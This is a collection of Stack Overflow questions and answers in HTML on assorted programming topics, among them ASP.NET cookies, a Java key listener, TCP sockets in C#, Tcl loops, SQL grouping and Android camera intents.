14272251	0	 <p>Firefox has a <strong>"text-only"</strong> zoom feature, unlike Chrome that lacks this feature.</p> <p>To make <strong>everything</strong> zoom in Firefox, <strong>remove</strong> the checkmark and Reset the zoom level.</p> <p><img src="https://i.stack.imgur.com/VSHLA.png" alt="enter image description here"></p> <p>For Chrome browser, look into Zoom plugins that have this feature.</p>
4747750	0	 <p>Is there a larger context in which you are operating? In ASP.NET I've created a PerRequestLifetimeManager that returns the same object when it is requested multiple times during a single HTTP request.</p> <p><strong>EDIT:</strong> Here's an implementation if you're interested.</p> <pre><code>public class PerRequestLifetimeManager : LifetimeManager { private readonly object key = new object(); public override object GetValue() { if (HttpContext.Current != null &amp;&amp; HttpContext.Current.Items.Contains(key)) return HttpContext.Current.Items[key]; else return null; } public override void RemoveValue() { if (HttpContext.Current != null) HttpContext.Current.Items.Remove(key); } public override void SetValue(object newValue) { if (HttpContext.Current != null) HttpContext.Current.Items[key] = newValue; } </code></pre>
11359111	0	How can I delete old translations? <p>I have noticed that when I change a word on a new action before submitting it to Facebook, it generates new translations. How can I delete old translations so that I don't need to translate them ?</p> <p>Thank you, Zoé</p>
15140966	0	 <p>(I've tried to edit @false's <a href="http://stackoverflow.com/a/15140312/1545971">response</a>, but it was rejected)</p> <p><code>my_len_tail/2</code> is faster (in terms of both the number of inferences and actual time) than buldin <code>length/2</code> when generating a list, but has problem with <code>N in 1..2</code> constraint.</p> <pre><code>?- time(( my_len_tail(L,N),N=10000000 )). % 20,000,002 inferences, 2.839 CPU in 3.093 seconds (92% CPU, 7044193 Lips) L = [_G67, _G70, _G73, _G76, _G79, _G82, _G85, _G88, _G91|...], N = 10000000 . ?- time(( length(L,N),N=10000000 )). % 30,000,004 inferences, 3.557 CPU in 3.809 seconds (93% CPU, 8434495 Lips) L = [_G67, _G70, _G73, _G76, _G79, _G82, _G85, _G88, _G91|...], N = 10000000 . </code></pre>
15385693	0	Fetch details of a ListItem in ListView from MySQL Database <p>I have successfully fetched a list from a database and binded it in a ListView. If I select an item from the listView if fetches the correct details of that item. If I select another list item from the listview, it brings the same same data of the previous item selected. </p> <p>How do I go about solving that? perfectly..</p> <p>My code is running</p>
23498695	0	 <p>You can't have multiple instances of the same <code>MockUp</code> subclass at the same time (each such mock-up would simply override the previous one when it got instantiated). Instead, add an <code>Invocation</code> parameter to your <code>@Mock</code> method, and then use the information it provides to distinguish between multiple data sets. For example:</p> <pre><code>@Test public void testClientWithVariedDataFromFastScanners() { new MockUp&lt;FastScanner&gt;() { // some data structure for test data @Mock int nextInt(Invocation inv) { int idx = inv.getInvocationIndex(); FastScanner fs = inv.getInvokedInstance(); // Find the next value by using idx or fs as a lookup index // into the data structures: int i = ... return i; } }; client.doSomethingUsingFastScanners(); } </code></pre> <p>Also, if you want to call whatever methods (including <code>static</code> methods) on a mock-up subclass, just make it a <em>named</em> class rather than an anonymous one.</p>
1820856	0	 <p>Well, you deserve a medal for putting that much time into this issue.</p> <p>I'd suggest these things:</p> <ol> <li>Make him read <em>Code Complete</em>. <ul> <li>Treat him like a senior programmer, but check every step he makes until you see good results.</li> <li>Don't take over or he won't learn. Let him make mistakes, but then make him fix it.</li> <li>He should always make estimates. Then have him acknowledge when his estimation is wrong.</li> <li>Always encourage him to <em>think</em>. Fresh CS students hardly think; they code like robots.</li> </ul></li> </ol> <p>Give him some ground rules, like: never write the same code twice, and if you do so, check your design, etc.</p> <p>Also remember that he is afraid from you as much as he wants to learn from you. You may have forgotten things that he is learning, so you need to push him to ask questions and make sure he doesn't feel stupid in doing so.</p> <p>In six months he will be good and ready! (to leave and look for a better paid job :-) )</p>
30765246	0	 <p><code>natualHeight</code></p> <p>Look veeeeeeery closely at that word... =)</p> <p>It's probably just finding that <code>NaN</code> is neither less than nor greater than nor equal to <code>NaN</code>. (You have the same typo on naturalWidth too)</p>
39334620	0	Create Android Widget inside App <p>I'd like to link to my app widget configuration activity from inside my app. I know it's possible to launch the Android widget picker but can I bypass that step and let my users create a widget on their home screen from inside my app?</p>
38584976	0	How can i reload the URL automatically if session is expired? <p>I am using maven spring boot and spring security with java configuration. I have also created Security Configuration which extends <code>WebSecurityConfigurerAdapter</code>. </p> <p>Here what i need is once my session is expired then automatically reload all the pages based on antMatchers. </p> <p><strong><em>Note</strong>: I am using <code>jquery</code> rest client with <code>@RestController</code> instead of jsp and servlet.</em></p>
15016371	0	SQL adding two columns (datetime) <p>I have two columns that contains datetimes and i need two add them together somehow. I've tried using sum but that didnt work. Im using sqlserver 2008.</p> <p><strong>Columns</strong></p> <p><strong>loanPeriod</strong> = the loanperiod of the item </p> <p><strong>checkOutDate</strong>= when the item was borrowed</p> <p>And Im trying to achieve this lastreturndate = (checkoutDate + loanperiod)</p>
29615773	0	 <p>There are a few key points when doing this sort of thing (and these apply to languages other than Tcl too). Firstly, you should <strong>compute the delta</strong> from the span you want and the number of steps you want. Secondly, you should <strong>keep your incrementing and loop control using integers</strong> if you can, so as to avoid fencepost errors caused by rounding; instead <strong>compute the value for the loop iteration</strong> by multiplying the delta by the loop counter and adding to the originating value. Thirdly, you should consider what the right <strong>precision</strong> is when printing your results; in Tcl, this tends to mean using <code>format</code> with the <code>%f</code> conversion and appropriate width specifier.</p> <pre><code>set from -0.3925 set to 0.3925 set points 19 set delta [expr {($to-$from) / double($points-1)}] for {set i 0} {$i&lt;$points} {incr i} { set x [expr {$from + $i*$delta}] puts [format "%.5f" $x] } </code></pre> <p>This produces this output:</p> <pre> -0.39250 -0.34889 -0.30528 -0.26167 -0.21806 -0.17444 -0.13083 -0.08722 -0.04361 0.00000 0.04361 0.08722 0.13083 0.17444 0.21806 0.26167 0.30528 0.34889 0.39250 </pre>
37385489	0	 <ol> <li><p>No, nested collections as properties can not be used.</p></li> <li><p>The philosophy is simple: maximum decomposition of objects and relationships to effectively use graph algorithms as a tool of analysis. Using your example with food:</p> <ul> <li>Who eats the same foods for breakfast?</li> <li>Who was the lunch at the same time?</li> <li>What if you need to count calorie meal?</li> <li>How different cooking methods of the same person on different days?</li> <li>Who supplies these products?</li> <li>In some recipes include these products?</li> <li>What are the vegetables and fruit juices that people were in the day for breakfast?</li> </ul></li> </ol> <p>And as an illustration of an exemplary model:</p> <p><a href="https://i.stack.imgur.com/pmRI8.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/pmRI8.png" alt="enter image description here"></a></p>
23652918	0	 <p>It may be that the space in the title is not being url encoded correctly. Try using <code>encodeURIComponent()</code> to solve this.</p> <pre><code>var link = '@Url.Action("accountPartial", "BillingProfile")?ln=' + ln + '&amp;profileID=' + profileID + '&amp;title=' + encodeURIComponent(title) + '&amp;active=' + active; </code></pre> <p>Just an idea. Can't be sure.</p>
40531886	0	Rectangle is not moving if i set the x y from another class. <p>Alright, so I got two classes here, the main and the keylistener class which i use to pass keyboard inputs to the main class.</p> <pre><code> import java.awt.Canvas; import java.awt.Color; import java.awt.Dimension; import java.awt.Graphics; import java.awt.Point; import java.awt.image.BufferStrategy; import java.util.ArrayList; import java.util.Random; import javax.swing.JFrame; public class Game extends Canvas implements Runnable{ private static final long serialVersionUID = 1L; private final static int WIDTH = 240; private final static int HEIGHT = WIDTH / 12 * 9; private final static int SCALE = 2; private String TITLE = "Game"; private boolean running = false; private Thread thread; Random r = new Random(); ArrayList&lt;Point&gt; snakePart = new ArrayList&lt;Point&gt;(); Point head; KeyHandle keyhandle; public static void main(String[] args) { new Game(); } public Game() { init(); JFrame frame = new JFrame(TITLE); Dimension size = new Dimension(WIDTH * SCALE, HEIGHT * SCALE); setMinimumSize(size); setMaximumSize(size); setPreferredSize(size); frame.setResizable(false); frame.setLocationRelativeTo(null); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.add(this); frame.pack(); frame.setVisible(true); start(); } public void init() { head = new Point(0,0); addKeyListener(new KeyHandle()); } @Override public void run() { final double ticks = 60.0; long initTime = System.nanoTime(); double ns = 1000000000 / ticks; double delta = 0; long timer = System.currentTimeMillis(); double updates = 0; int frames = 0; while (running) { long nowTime = System.nanoTime(); delta += (nowTime - initTime) / ns; initTime = nowTime; if (delta &gt;= 1) { tick(); updates++; delta--; } render(); frames++; if (System.currentTimeMillis() - timer &gt; 1000) { timer += 1000; System.out.println("Ticks: " + updates + " Frames: " + frames); updates = 0; frames = 0; } } stop(); } public void tick() { } public void render() { BufferStrategy bs = getBufferStrategy(); if (bs == null) { createBufferStrategy(3); return; } Graphics g = bs.getDrawGraphics(); g.setColor(Color.BLACK); g.fillRect(0, 0, getWidth(), getHeight()); g.setColor(Color.white); g.drawRect(head.x, head.y, 10, 10); bs.show(); g.dispose(); } private synchronized void start() { if (running) return; running = true; thread = new Thread(this); thread.start(); } private synchronized void stop() { if (!running) return; running = false; try { thread.join(); } catch (InterruptedException e) { // TODO Auto-generated catch block e.printStackTrace(); } System.exit(1); } } </code></pre> <p>and then i've got the keylistener class which looks like this</p> <pre><code>import java.awt.event.KeyEvent; import java.awt.event.KeyListener; public class KeyHandle implements KeyListener { Game game; @Override public void keyPressed(KeyEvent e) { if(e.getKeyCode() == KeyEvent.VK_UP){ } else if(e.getKeyCode() == KeyEvent.VK_DOWN){ game.head.y += 10; } else if(e.getKeyCode() == KeyEvent.VK_LEFT){ } else if(e.getKeyCode() == KeyEvent.VK_RIGHT){ } else if(e.getKeyCode() == KeyEvent.VK_ESCAPE){ } } @Override public void keyReleased(KeyEvent e) { if(e.getKeyCode() == KeyEvent.VK_UP){ } else if(e.getKeyCode() == KeyEvent.VK_DOWN){ } else if(e.getKeyCode() == KeyEvent.VK_LEFT){ } else if(e.getKeyCode() == KeyEvent.VK_RIGHT){ } else if(e.getKeyCode() == KeyEvent.VK_ESCAPE){ } } @Override public void keyTyped(KeyEvent e) { // TODO Auto-generated method stub } } </code></pre> <p>Now the problem appears when I try to edit the "head" y and x values as seen in the second class.</p> <pre><code>if(e.getKeyCode() == KeyEvent.VK_DOWN){ game.head.y += 10; </code></pre> <p>What am I doing wrong here and is there a better way to pass and set x and y values more efficiently.</p>
38854818	0	How twitter ios app is doing to push the profile page with a new UINavigationController <p>I wondering how Twiter is doing, in the ios app, to push a profile viewController with a new navbar or a new navigationController above the current viewController ?</p> <p><a href="https://i.stack.imgur.com/zKp9i.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/zKp9i.png" alt="enter image description here"></a></p>
25683894	0	 <p>try with below code :-</p> <pre><code>if (Request.Cookies["AdminPrintModule"] != null) { HttpCookie cookie = Request.Cookies["AdminPrintModule"]; test = cookie["PrinterSetting2"].ToString(); } </code></pre> <p>Have a look at this document <a href="http://www.c-sharpcorner.com/uploadfile/annathurai/cookies-in-Asp-Net/" rel="nofollow">http://www.c-sharpcorner.com/uploadfile/annathurai/cookies-in-Asp-Net/</a> :-</p> <p>Below are few types to write and read cookies :-</p> <blockquote> <p>Non-Persist Cookie - A cookie has expired time Which is called as Non-Persist Cookie </p> <p>How to create a cookie? Its really easy to create a cookie in the Asp.Net with help of Response object or HttpCookie </p> <blockquote> <p>Example 1: </p> <pre><code> HttpCookie userInfo = new HttpCookie("userInfo"); userInfo["UserName"] = "Annathurai"; userInfo["UserColor"] = "Black"; userInfo.Expires.Add(new TimeSpan(0, 1, 0)); Response.Cookies.Add(userInfo); </code></pre> <p>Example 2: </p> <pre><code> Response.Cookies["userName"].Value = "Annathurai"; Response.Cookies["userColor"].Value = "Black"; </code></pre> <p><strong>How to retrieve from cookie?</strong> </p> <p>Its easy way to retrieve cookie value form cookes by help of Request object. Example 1: </p> <pre><code> string User_Name = string.Empty; string User_Color = string.Empty; User_Name = Request.Cookies["userName"].Value; User_Color = Request.Cookies["userColor"].Value; </code></pre> <p>Example 2: </p> <pre><code> string User_name = string.Empty; string User_color = string.Empty; HttpCookie reqCookies = Request.Cookies["userInfo"]; if (reqCookies != null) { User_name = reqCookies["UserName"].ToString(); User_color = reqCookies["UserColor"].ToString(); } </code></pre> </blockquote> </blockquote>
25409953	0	Are there specific rules for defining a function in C? <p>I am writing a script that can process .c and .h files. Using regular expressions I am finding all functions within a given file. During my experiences with C I always defined functions in the following manner:</p> <pre><code>void foo(int a){ //random code } </code></pre> <p>Is it possible to declare a function in the following manner: </p> <pre><code>void foo(int a){ //random code } </code></pre> <p>I always assumed that the function type, name, and parameters needed to be in the same line, but I've been told otherwise so I'm not exactly sure. </p>
33274822	0	 <p>First check the Gemfile is present in server or not.</p> <p>If present, then specify the location in your configuration file by adding below code.</p> <blockquote> <p><code>set :bundle_gemfile, "rails_code/Gemfile"</code></p> </blockquote>
24177890	0	Group by STRING and sum another field as you group <p>I just recently got a job maintaining an app that stores some products in a table. In the table there is the quantity of the product. There are a random number of records in the table so one product could have 1 to n records inside. Because I wasn't designing the app someone made the table this way, (If it was me, I'd create a new table just for products then group by id, would work great I presume, but I cant change it now.). Now I have a problem since I never did this before (Not on MSSQL and not on SQLite for that matter). How would you group by product name and sum the quantity of grouped items? </p> <p>This doesn't work but probabbly I can be more clear what i want:</p> <pre><code>SELECT Name, Quantity FROM products GROUP BY Name </code></pre> <p>(there is SUM somewhere here, but if I put sum on quantity this will probabbly just return the sum of all quantities not just the ones grouped.</p> <p>Another example (these are records in the table):</p> <pre><code>NAME Quantity ItemA 1 ItemA 7 ItemB 8 ItemC 1 ItemB 2 </code></pre> <p>The desired result of the query to fetch all elements but grouped would be:</p> <pre><code>ItemA 8 ItemB 10 ItemC 1 </code></pre>
12734612	0	 <p>While your particular case concerns Windows Azure specific (the 4 minute timeout of LBs), the question is pure IIS / ASP.NET workwise. Anyway, I don't think it is possible to send "ping-backs" to the client while in AsyncController/AsyncPage. This is the whole idea of the AsyncPages/Controllers. The IIS leaves the socket aside having the thread serving other requests. And gets back only when you got the OutstandingOperations to zero with AsyncManager.OutstandingOperations.Decrement(); Only then the control is given back to send final response to the client. And once you are the point of sending response, there is no turning back. </p> <p>I would rather argue for the architectural approach of why you thing someone would wait 4 minutes to get a response (even with a good animated "please wait")? A lot of things may happen during this time. From browser crash, through internet disruption to total power loss/disruption at client. If you are doing real Azure, why not just send tasks for a Worker Role via a Queue (Azure Storage Queues or Service Bus Queues). The other option that stays in front of you for so long running tasks is to use SingalR and fully AJAXed solution. Where you communicate via SignalR the status of the long running operation.</p> <p><strong>UPDATE 1 due to comments</strong></p> <p>In addition to the approach suggested by @knightpfhor this can be also achieved with a Queues. Requestor creates a task with some Unique ID and sends it to "Task submission queue". Then "listens" (or polls at regular/irregular intervals) a "Task completion" queue for a message with given Task ID. </p> <p>In any way I don't see a reason for keeping client connected for the whole duration of the long running task. There are number of ways to decouple such communication.</p>
1014515	0	 <p>An IronPython or IronRuby project can be compiled to a dll or executable just fine and will be 'real' executables in every way with the proviso that the person running them must have the relevant .Net framework and dependencies installed (dependencies may be present in the same directory by default instead but the framework must be installed). The integration with Visual Studio is still not there but projects like <a href="http://www.codeplex.com/IronPythonStudio" rel="nofollow noreferrer">IronPythonStudio</a> use the free VS Shell to good effect. The existence of the DLR as a dependency for c# dynamic in VS 2010 should mean that integration with VS from the Iron* groups becomes an easier goal and a higher priority.</p> <p>The result is in no way interpreted (the CIL is jitted into machine code at runtime or via ngen if desired) and certain aspects of the DLR mean some actions are deferred in a similar fashion to latebinding but more powerfully and crucially with some sophisticated caching mechanisms to allow this to be relatively fast compared with naive interpreters.</p> <p>Many traditionally interpreted scripting languages are creating their own VM based compilation strategies or leverage existing ones (like the JVM, the .Net CLR or open ones like the <a href="http://llvm.org/" rel="nofollow noreferrer">LLVM</a>) since this leads to significant performance increases in many common cases. </p> <p>In the case of the Iron* languages the benefit of the MS CLR as a basis is that the resulting executables 'Just Work' on the vast majority of installations of the most common OS family. Contrast to Java where a jar file is not 'runnable' by directly clicking / or 'executing' via the shell in many operating systems. The flipside from this is that this reduces interoperability compared to say a JVM or LLVM based solution where the platform support is broader but, inevitably, more diverse in OS integration.</p>
39345374	0	Open two tcp connection using TcpListener class on both side <p>I want to open tcp connection between two machine. I want to use the class TcpListener on the client side and on the server side and by this to have the option to make the two side 'talk' with the other by sending and receiving byte[]. </p> <p>That mean that each side is a server and a client. </p> <p>I using the code from msdn to do it. But on this code the server start and wait till the client will connect to him. </p> <p>If i doing so on the both sides i will fail. Is there any other way ? </p> <p>The code:</p> <pre><code>public static void Main() { TcpListener server=null; try { // Set the TcpListener on port 13000. Int32 port = 13000; IPAddress localAddr = IPAddress.Parse("127.0.0.1"); // TcpListener server = new TcpListener(port); server = new TcpListener(localAddr, port); // Start listening for client requests. server.Start(); // Buffer for reading data Byte[] bytes = new Byte[256]; String data = null; // Enter the listening loop. while(true) { Console.Write("Waiting for a connection... "); // Perform a blocking call to accept requests. // You could also user server.AcceptSocket() here. TcpClient client = server.AcceptTcpClient(); Console.WriteLine("Connected!"); data = null; // Get a stream object for reading and writing NetworkStream stream = client.GetStream(); int i; // Loop to receive all the data sent by the client. while((i = stream.Read(bytes, 0, bytes.Length))!=0) { // Translate data bytes to a ASCII string. data = System.Text.Encoding.ASCII.GetString(bytes, 0, i); Console.WriteLine("Received: {0}", data); // Process the data sent by the client. data = data.ToUpper(); byte[] msg = System.Text.Encoding.ASCII.GetBytes(data); // Send back a response. stream.Write(msg, 0, msg.Length); Console.WriteLine("Sent: {0}", data); } // Shutdown and end connection client.Close(); } } catch(SocketException e) { Console.WriteLine("SocketException: {0}", e); } finally { // Stop listening for new clients. server.Stop(); } Console.WriteLine("\nHit enter to continue..."); Console.Read(); } </code></pre>
14186873	0	What's the best practice to code shared enums between classes <pre><code>namespace Foo { public enum MyEnum { High, Low } public class Class1 { public MyEnum MyProperty { get; set; } } } </code></pre> <p><code>MyEnum</code> is declared outside <code>Class1</code> cause I need it here and in other classes</p> <p>Seems good, but what if I decide later to delete the file containing<code>Class1</code>?</p> <p><code>MyEnum</code> declaration will be lost!!</p> <p>What's the best practice to code shared enums between classes?</p>
8376715	0	colorbox new attribute for class ids <p>in colorbox there are two vars ;</p> <pre><code> // Abstracting the HTML and event identifiers for easy rebranding colorbox = 'colorbox', prefix = 'cbox', </code></pre> <p>Can I change these via a jquery function when i call colorbox.</p> <p>Thanks in advance.</p>
17177976	0	 <p>I had the same issue.</p> <p>But I found another solution. I used the artisan worker as is, but I modified the 'watch' time. By default(from laravel) this time is hardcoded to zero, I've changed this value to 600 (seconds). See the file: 'vendor/laravel/framework/src/Illuminate/Queue/BeanstalkdQueue.php' and in function 'public function pop($queue = null)'</p> <p>So now the work is also listening to the queue for 10 minutes. When it does not have a job, it exits, and supervisor is restarting it. When it receives a job, it executes it after that it exists, and supervisor is restarting it.</p> <p>==> No polling anymore!</p> <p>notes: </p> <ul> <li>it does not work for iron.io queue's or others. </li> <li>it might not work when you want that 1 worker accept jobs from more than 1 queue.</li> </ul>
4045883	0	 <p>You might want to get a command line to modify metadata. Some tools modify both native and XMP metadata.</p> <p>I wrote a blog on metadata editing a while ago: <a href="http://www.barcodeschool.com/2010/09/publishers-fix-the-metadata-in-the-pdf-file/" rel="nofollow">http://www.barcodeschool.com/2010/09/publishers-fix-the-metadata-in-the-pdf-file/</a></p>
37307920	0	 <p>You should implement this in your SQL using a case statement.</p> <p><a href="https://dev.mysql.com/doc/refman/5.7/en/case.html" rel="nofollow">https://dev.mysql.com/doc/refman/5.7/en/case.html</a></p> <p>The above answers using the IF() function are correct, but in my opinion it is better to use the CASE-WHEN so as to match other database engines like Microsoft SQL Server and Oracle.</p>
29623571	0	 <pre><code>// Global Declaration Intent intent; String imageFileName,videoFileName; Uri uri; private void clickPhotoFromCamera() { intent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE); String timeStamp = new SimpleDateFormat("yyyyMMdd_HHmmss").format(new Date()); imageFileName = "JPEG_" + timeStamp + ".jpg"; File imageStorageDir = new File(Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DCIM), imageFileName); uri = Uri.fromFile(imageStorageDir); intent.putExtra(MediaStore.EXTRA_OUTPUT, uri); startActivityForResult(intent, 1); } private void captureVideoFromCamera() { intent = new Intent(MediaStore.ACTION_VIDEO_CAPTURE); String timeStamp = new SimpleDateFormat("yyyyMMdd_HHmmss").format(new Date()); videoFileName = "VID_" + timeStamp + ".mp4"; File videoStorageDir = new File(Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DCIM), videoFileName); uri = Uri.fromFile(videoStorageDir); intent.putExtra(MediaStore.EXTRA_OUTPUT, uri); startActivityForResult(intent, 2); } private void uploadMediaFromGallery() { intent = new Intent(Intent.ACTION_PICK, android.provider.MediaStore.Images.Media.EXTERNAL_CONTENT_URI); intent.setType("image/* video/*"); startActivityForResult(intent, 3); } @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { super.onActivityResult(requestCode, resultCode, data); if (resultCode == RESULT_OK) { if (requestCode == 1) { imagePath = uri.getPath(); // Do whatever you want with image path... } else if (requestCode == 2) { videoPath = uri.getPath(); // Do whatever you want with Video path... } else { uri = data.getData(); mediaPath = getPath(getApplicationContext(), uri); } } } </code></pre> <p><Br> // For get Image or video from path...</p> <pre><code>File mediaFile = new File(mediaPath); Bitmap bitmap; if (mediaFile.exists()) { if (isImage(mediaPath)) { Bitmap myBitmap = BitmapFactory.decodeFile(mediaFile.getAbsolutePath()); int height = (myBitmap.getHeight() * 512 / myBitmap.getWidth()); Bitmap scale = Bitmap.createScaledBitmap(myBitmap, 512, height, true); int rotate = 0; try { exif = new ExifInterface(mediaFile.getAbsolutePath()); } catch (IOException e) { e.printStackTrace(); } int orientation = exif.getAttributeInt(ExifInterface.TAG_ORIENTATION, ExifInterface.ORIENTATION_UNDEFINED); switch (orientation) { case ExifInterface.ORIENTATION_NORMAL: rotate = 0; break; case ExifInterface.ORIENTATION_ROTATE_270: rotate = 270; break; case ExifInterface.ORIENTATION_ROTATE_180: rotate = 180; break; case ExifInterface.ORIENTATION_ROTATE_90: rotate = 90; break; } Matrix matrix = new Matrix(); matrix.postRotate(rotate); Bitmap rotateBitmap = Bitmap.createBitmap(scale, 0, 0, scale.getWidth(), scale.getHeight(), matrix, true); displayImage.setImageBitmap(rotateBitmap); } else { bitmap = ThumbnailUtils.createVideoThumbnail(mediaPath, Thumbnails.MICRO_KIND); displayImage.setImageBitmap(bitmap); } } public static boolean isImage(String str) { boolean temp = false; String[] arr = { ".jpeg", ".jpg", ".png", ".bmp", ".gif" }; for (int i = 0; i &lt; arr.length; i++) { temp = str.endsWith(arr[i]); if (temp) { break; } } return temp; } </code></pre>
35520933	0	 <p>It can be checked with this.</p> <pre><code>bool isLettersOnly = !word.Any(c =&gt; !char.IsLetter(c)); </code></pre>
33919527	0	smbclient: command not found <p>I would like to connect to a remote server with the <code>smbclient</code> command and pass some arguments to the script.</p> <p>Here is my command:</p> <pre><code>smbclient //$SERVER -c 'cd $PATH;get $FILE /tmp/$FILE' $PASS -U$PSEUDO -W domain </code></pre> <p>When I launch this command without variables on the command line it works. But when I use it in the script it says:</p> <pre><code>./test1.sh: line 14: smbclient: command not found </code></pre> <p>Why is that?</p> <pre><code>Here is my complete script with for exemple arguments testSRV, testPATH and testFile : \#! /bin/bash SERVEUR=$1 PATH=$2 FILE=$3 echo $PATH #Return testPATH echo $FILE #Return testFILE \#COMPLETEPATH="cd $testPATH;get $testFILE /tmp/$testFILE" \#echo $COMPLETEPATH //return /usr/bin/smbclient //$SERVER -c 'cd $PATH;get $FILE' testpassword -U testuser -W testdomain </code></pre>
14211086	0	Enable animation with blend using property binding condition <p>I am working with blend 4, I am trying to play some StoryBoard using ControlStoryBoardAction with the contidion: if a specific Border Element in my UC has greater width then 250.</p> <p>I set the next configuration: <img src="https://i.stack.imgur.com/KGs2g.png" alt="Set data binding"></p> <p><img src="https://i.stack.imgur.com/Zm5Cb.png" alt="Config ControlStoryBoardAction "></p> <p>And when I run my application I am getting the following error:</p> <p>LeftOperand of type "OpeningViewModel" cannot be used with operator "GreaterThan". Source=Microsoft.Expression.Interactions</p> <p>What I am doing wrong? How can I launch StoryBoard with element property condition?</p>
15329227	0	 <p>public class twoTimes </p> <p>{</p> <pre><code> public static void main(String[] args) { for ( int i=1; i&lt;11; i++)//; &lt;----- Due to this it is not working { System.out.println("count is" + i); } } </code></pre> <p>}</p>
5226456	0	 <p>Here's your problem:</p> <pre><code>.Where(s =&gt; s.ID == 1).FirstOrDefault(); </code></pre> <p>this will obviously return the same object on each iteration. And I'm guessing that theStat has an ID of 1, which is why it is updated.</p>
39179867	0	Laravel : Error messaging not working <p>Hello friends I have a form when i enter correct value and pressing submit button i am getting success message </p> <p>if i am entering wrong value then <strong>i am not getting error message please suugest something</strong></p> <p><strong>Controller</strong></p> <pre><code> if($getHours &lt;= 16) { DB::table('labors')-&gt;insert($labors_data); session::flash('status', 'Labor Timesheet Added Successfully'); return Redirect:: to('ViewLaborD2S'); } else { session::flash('status', 'You have entered More than 16 Hours'); return Redirect:: to('ViewLaborD2S'); } </code></pre> <p><strong>View</strong></p> <pre><code> @if (session('status')) &lt;div class="alert alert-success"&gt; &lt;p style="text-align:center;"&gt;{{ session('status') }}&lt;/p&gt; &lt;/div&gt; @else(session('message')) &lt;div class="alert alert-danger"&gt; &lt;p style="text-align:center;"&gt;{{ session('message') }}&lt;/p&gt; &lt;/div&gt; @endif </code></pre> <p>I want to show Success message if i entered correct value and if i enter wrong value show error message</p>
28697204	0	 <pre><code>x = {"job" =&gt; 1, "big job" =&gt; 2, "super job" =&gt; 1, "work" =&gt; 2, "super big job" =&gt; 1} p x.sort_by{|x,|-x.split.size}.to_h #=&gt; {"super big job"=&gt;1, "big job"=&gt;2, "super job"=&gt;1, "work"=&gt;2, "job"=&gt;1} </code></pre>
17935283	0	How to get all the parent classes of a derived class in C# Reflection <p>It is weird that I was not able to find a similar question but this is what actually I want, finding all the parent classes of a derived class. </p> <p>I tested a code with a hope that it works for me :</p> <pre><code>void WriteInterfaces() { var derivedClass = new DerivedClass(); var type = derivedClass.GetType(); var interfaces = type.FindInterfaces((objectType, criteria) =&gt; objectType.Name == criteria.ToString(),"BaseClass"); foreach(var face in interfaces) { face.Name.Dump(); } } interface BaseInterface {} class BaseClass : BaseInterface {} class BaseClass2 : BaseClass {} class DerivedClass : BaseClass2{} </code></pre> <p>Basically, here my main intention is to check if a derived class somehow inherits a base class somewhere in its base hierarchy.</p> <p>However, this code returns null and works only with interfaces.</p>
2854088	0	Serialize struct with pointers to NSData <p>I need to add some kind of archiving functionality to a Objective-C Trie implementation (<a href="http://github.com/nathanday/ndtrie" rel="nofollow noreferrer">NDTrie</a> on github), but I have very little experience with C and it's data structures.</p> <pre><code>struct trieNode { NSUInteger key; NSUInteger count, size; id object; __strong struct trieNode ** children; __strong struct trieNode * parent; }; @interface NDTrie (Private) - (struct trieNode*)root; @end </code></pre> <p>What I need is to create an <code>NSData</code> with the tree structure from that root - or serialize/deserialize the whole tree some other way (conforming to <code>NSCoding</code>?), but I have no clue how to work with <code>NSData</code> and a C struct containing pointers.</p> <p>Performance on deserializing the resulting object would be crucial, as this is an iPhone project and I will need to load it in the background every time the app starts.</p> <p>What would be the best way to achieve this?</p> <p>Thanks!</p>
34662032	0	 <p>When working with HTTP content (which is the case of Safari and Mail app), you must not forget to handle its content type. The <a href="https://developer.apple.com/library/mac/documentation/Miscellaneous/Reference/UTIRef/Articles/System-DeclaredUniformTypeIdentifiers.html" rel="nofollow">Uniform Type Identifier</a> (UTI) for handle content type is <code>public.mime-type</code> and let's say that the content type header of a server response is set to <em>application/gpx</em>, so in your <em>plist</em> you must add to the <code>UTTypeTagSpecification</code> section:</p> <pre><code>&lt;dict&gt; &lt;key&gt;public.filename-extension&lt;/key&gt; &lt;array&gt; &lt;string&gt;GPX&lt;/string&gt; &lt;string&gt;gpx&lt;/string&gt; &lt;/array&gt; &lt;key&gt;public.mime-type&lt;/key&gt; &lt;string&gt;application/gpx&lt;/string&gt; &lt;/dict&gt; </code></pre> <p><strong>Note</strong>: I've seen <em>application/gpx</em> and <em>application/gpx+xml</em> as content type for GPX data around web and I don't know if there's a standard mime type so it's better to use both.</p>
20662268	0	 <p>try to write <code>Range("c" &amp; row).FormulaR1C1=temp</code></p>
36312102	0	 <p>In your INSTALLED_APPS </p> <pre><code>INSTALLED_APPS = [ ..., 'HdfsstatsConfig', ] </code></pre> <p>in your views.py</p> <pre><code>from .viewcreator import Builder </code></pre> <p><strong>UPDATE, DJANGO IMPORTS</strong></p> <p>There are 3 ways to imports module in django </p> <p><strong>1. Absolute import:</strong> Import a module from outside your current application Example from myapp.views import HomeView <a href="https://i.stack.imgur.com/9YJky.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/9YJky.png" alt="enter image description here"></a></p> <p><strong>2. Explicit import:</strong> Import a module from inside you current application <a href="https://i.stack.imgur.com/QqIer.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/QqIer.png" alt="enter image description here"></a></p> <p><strong>3. Relative import:</strong> Same as explicit import but <strong>not recommended</strong></p> <pre><code>from models import MyModel </code></pre> <p><a href="https://i.stack.imgur.com/ngCKg.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/ngCKg.png" alt="enter image description here"></a></p>
27548347	0	 <p>First, remove stuff that shouldn't be there:</p> <pre><code>$str = preg_replace('/[^PDL\d-]/i', '', $str); </code></pre> <p>That gives you the following normalised results:</p> <pre class="lang-none prettyprint-override"><code>D456789-1 D456789-1 D456789-1ldlddld </code></pre> <p>Then, attempt to match the data you want:</p> <pre><code>if (preg_match('/^([PDL])(\d+-\d)/i', $str, $match)) { $code = $match[1]; $load = $match[2]; } else { // uh oh, something wrong with the format! } </code></pre>
